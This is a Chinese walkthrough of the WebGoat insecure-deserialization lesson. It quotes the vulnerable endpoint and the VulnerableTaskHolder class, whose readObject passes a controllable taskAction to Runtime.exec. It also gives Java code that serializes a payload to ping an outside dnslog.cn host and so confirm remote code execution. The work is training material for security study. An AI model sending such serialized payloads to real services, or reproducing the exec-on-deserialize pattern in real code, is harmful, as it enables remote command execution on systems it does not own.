反序列化这关在前端页面可以看到是提交token到后端,先看一下接口名
可以看到接口名为InsecureDeserialization/task,那就后端全局搜索InsecureDeserialization/task,最终定位到InsecureDeserializationTask.java
源码如下:
package org.owasp.webgoat.deserialization;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import java.io.*;
import java.util.Base64;
@RestController
@AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"})
public class InsecureDeserializationTask extends AssignmentEndpoint {
@PostMapping("/InsecureDeserialization/task")
@ResponseBody
public AttackResult completed(@RequestParam String token) throws IOException {
String b64token;
long before;
long after;
int delay;
b64token = token.replace('-', '+').replace('_', '/');
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
before = System.currentTimeMillis();
Object o = ois.readObject();
if (!(o instanceof VulnerableTaskHolder)) {
if (o instanceof String) {
return failed(this).feedback("insecure-deserialization.stringobject").build();
}
return failed(this).feedback("insecure-deserialization.wrongobject").build();
}
after = System.currentTimeMillis();
} catch (InvalidClassException e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
} catch (IllegalArgumentException e) {
return failed(this).feedback("insecure-deserialization.expired").build();
} catch (Exception e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
}
delay = (int) (after - before);
if (delay > 7000) {
return failed(this).build();
}
if (delay < 3000) {
return failed(this).build();
}
return success(this).build();
}
}
可以看到大概就是对输入的token先base64解码然后输入到字节数组输入流中然后再接到对象输入流,并利用readObject进行反序列化操作得到对象o,然后判断该对象是否属于VulnerableTaskHolder类,如果不是则返回失败。如果是VulnerableTaskHolder类则继续往下走。所以我们应该就是重点关注VulnerableTaskHolder这个类,看看其是否重写了readobject方法。
package org.dummy.insecure.framework;
import java.io.*;
import java.time.LocalDateTime;
import java.util.Base64;
import lombok.extern.slf4j.Slf4j;
@Slf4j
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
@Override
public String toString() {
return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
+ requestedExecutionTime + "]";
}
/**
* Execute a task when de-serializing a saved or received object.
* @author stupid develop
*/
private void readObject( ObjectInputStream stream ) throws Exception {
//unserialize data so taskName and taskAction are available
stream.defaultReadObject();
//do something with the data
log.info("restoring task: {}", taskName);
log.info("restoring time: {}", requestedExecutionTime);
if (requestedExecutionTime!=null &&
(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
//do nothing is the time is not within 10 minutes after the object has been created
log.debug(this.toString());
throw new IllegalArgumentException("outdated");
}
//condition is here to prevent you from destroying the goat altogether
if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
log.info("about to execute: {}", taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
log.info(line);
}
} catch (IOException e) {
log.error("IO Exception", e);
}
}
}
}
果然是重写了readobject方法,那么我们看看是否存在命令执行的点。可以看到首先判断requestedExecutionTime变量值是否是当前时间,如果是当前时间则判断taskAction变量是否是以sleep或者ping开头且长度小于22,如果满足的话就将taskAction变量值传给Runtime.getRuntime().exec执行命令。这里的taskAction是我们可以控制的。
再看看这个类的有参构造器发现其会自动将this.requestedExecutionTime赋值为当前时间,太好了,那这个变量我们就不用管了,我们重点关注的是taskAction变量,taskName变量是啥都无所谓。
分析了类成员变量的作用后,现在我们就要构造payload了,如下所示
VulnerableTaskHolder vuln = new VulnerableTaskHolder("qwq","ping ***.dnslog.cn");
然后对其进行序列化并编码为base64
ByteArrayOutputStream bOut = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(bOut);
objOut.writeObject(vuln);
String str = Base64.getEncoder().encodeToString(bOut.toByteArray());
System.out.println(str);
objOut.close();
我直接将构造代码写在了这个类文件里面,因为在序列化时会将package包名也序列化进去,这样也比较方便。
package org.dummy.insecure.framework;
import java.io.*;
import java.time.LocalDateTime;
import java.util.Base64;
import lombok.extern.slf4j.Slf4j;
@Slf4j
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
@Override
public String toString() {
return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
+ requestedExecutionTime + "]";
}
/**
* Execute a task when de-serializing a saved or received object.
* @author stupid develop
*/
private void readObject( ObjectInputStream stream ) throws Exception {
//unserialize data so taskName and taskAction are available
stream.defaultReadObject();
//do something with the data
log.info("restoring task: {}", taskName);
log.info("restoring time: {}", requestedExecutionTime);
if (requestedExecutionTime!=null &&
(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
//do nothing is the time is not within 10 minutes after the object has been created
log.debug(this.toString());
throw new IllegalArgumentException("outdated");
}
//condition is here to prevent you from destroying the goat altogether
if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
log.info("about to execute: {}", taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
log.info(line);
}
} catch (IOException e) {
log.error("IO Exception", e);
}
}
}
// 重点如下,payload构造
public static void main(String[] args) throws Exception {
VulnerableTaskHolder vuln = new VulnerableTaskHolder("qwq","ping ep0eg7.dnslog.cn");
ByteArrayOutputStream bOut = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(bOut);
objOut.writeObject(vuln);
String str = Base64.getEncoder().encodeToString(bOut.toByteArray());
System.out.println(str);
objOut.close();
}
}
执行后结果如下
将如上代码输入表单提交,成功rce